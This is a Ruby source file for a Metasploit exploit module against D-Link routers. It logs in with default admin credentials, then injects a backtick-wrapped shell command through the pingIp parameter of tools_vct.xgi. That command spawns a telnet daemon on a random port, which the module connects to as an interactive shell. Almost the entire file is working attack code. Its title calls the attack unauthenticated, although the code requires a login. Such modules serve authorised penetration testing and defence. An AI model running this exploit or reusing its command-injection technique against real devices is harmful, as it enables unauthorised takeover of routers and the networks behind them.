metasploit-framework/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb

199 lines
5.7 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link Devices Unauthenticated Remote Command Execution',
'Description' => %q{
Various D-Link Routers are vulnerable to OS command injection via the web
interface. The vulnerability exists in tools_vct.xgi, which is accessible with
credentials. According to the vulnerability discoverer, more D-Link devices may
be affected.
},
'Author' =>
[
'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '92698' ],
[ 'EDB', '25024' ],
[ 'BID', '59405' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-014' ]
],
'DisclosureDate' => 'Apr 22 2013',
'Privileged' => true,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
OptString.new('PASSWORD',[ false, 'Password to login with', 'admin']),
], self.class)
register_advanced_options(
[
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
], self.class)
end
def tel_timeout
(datastore['TelnetTimeout'] || 10).to_i
end
def banner_timeout
(datastore['TelnetBannerTimeout'] || 25).to_i
end
def exploit
user = datastore['USERNAME']
if datastore['PASSWORD'].nil?
pass = ""
else
pass = datastore['PASSWORD']
end
test_login(user, pass)
exploit_telnet
end
def test_login(user, pass)
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
login_path = "/login.php"
#valid login response includes the following
login_check = "\<META\ HTTP\-EQUIV\=Refresh\ CONTENT\=\'0\;\ url\=index.php\'\>"
begin
res = send_request_cgi({
'uri' => login_path,
'method' => 'POST',
'vars_post' => {
"ACTION_POST" => "LOGIN",
"LOGIN_USER" => "#{user}",
"LOGIN_PASSWD" => "#{pass}",
"login" => "+Log+In+"
}
})
if res.nil?
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - no response")
end
if (res.headers['Server'].nil? or res.headers['Server'] !~ /Mathopd\/1.5p6/)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - check the server banner")
end
if (res.code == 404)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - 404 error")
end
if (res.body) =~ /#{login_check}/
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
else
fail_with(Failure::Unknown, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
end
end
def exploit_telnet
telnetport = rand(32767) + 32768
print_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
cmd = "telnetd -p #{telnetport}"
#starting the telnetd gives no response
request(cmd)
print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i, 'Context' => ctx })
if sock.nil?
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
end
add_socket(sock)
print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
prompt = negotiate_telnet(sock)
if prompt.nil?
sock.close
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
else
print_good("#{rhost}:#{rport} - Telnet session successfully established...")
end
handler(sock)
end
def request(cmd)
uri = '/tools_vct.xgi'
begin
res = send_request_cgi({
'uri' => uri,
'vars_get' => {
'set/runtime/switch/getlinktype' => "1",
'set/runtime/diagnostic/pingIp' => "`#{cmd}`",
'pingIP' => ""
},
'method' => 'GET',
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice")
end
end
# Since there isn't user/password negotiation, just wait until the prompt is there
def negotiate_telnet(sock)
begin
Timeout.timeout(banner_timeout) do
while(true)
data = sock.get_once(-1, tel_timeout)
return nil if not data or data.length == 0
if data =~ /\x23\x20$/
return true
end
end
end
rescue ::Timeout::Error
return nil
end
end
end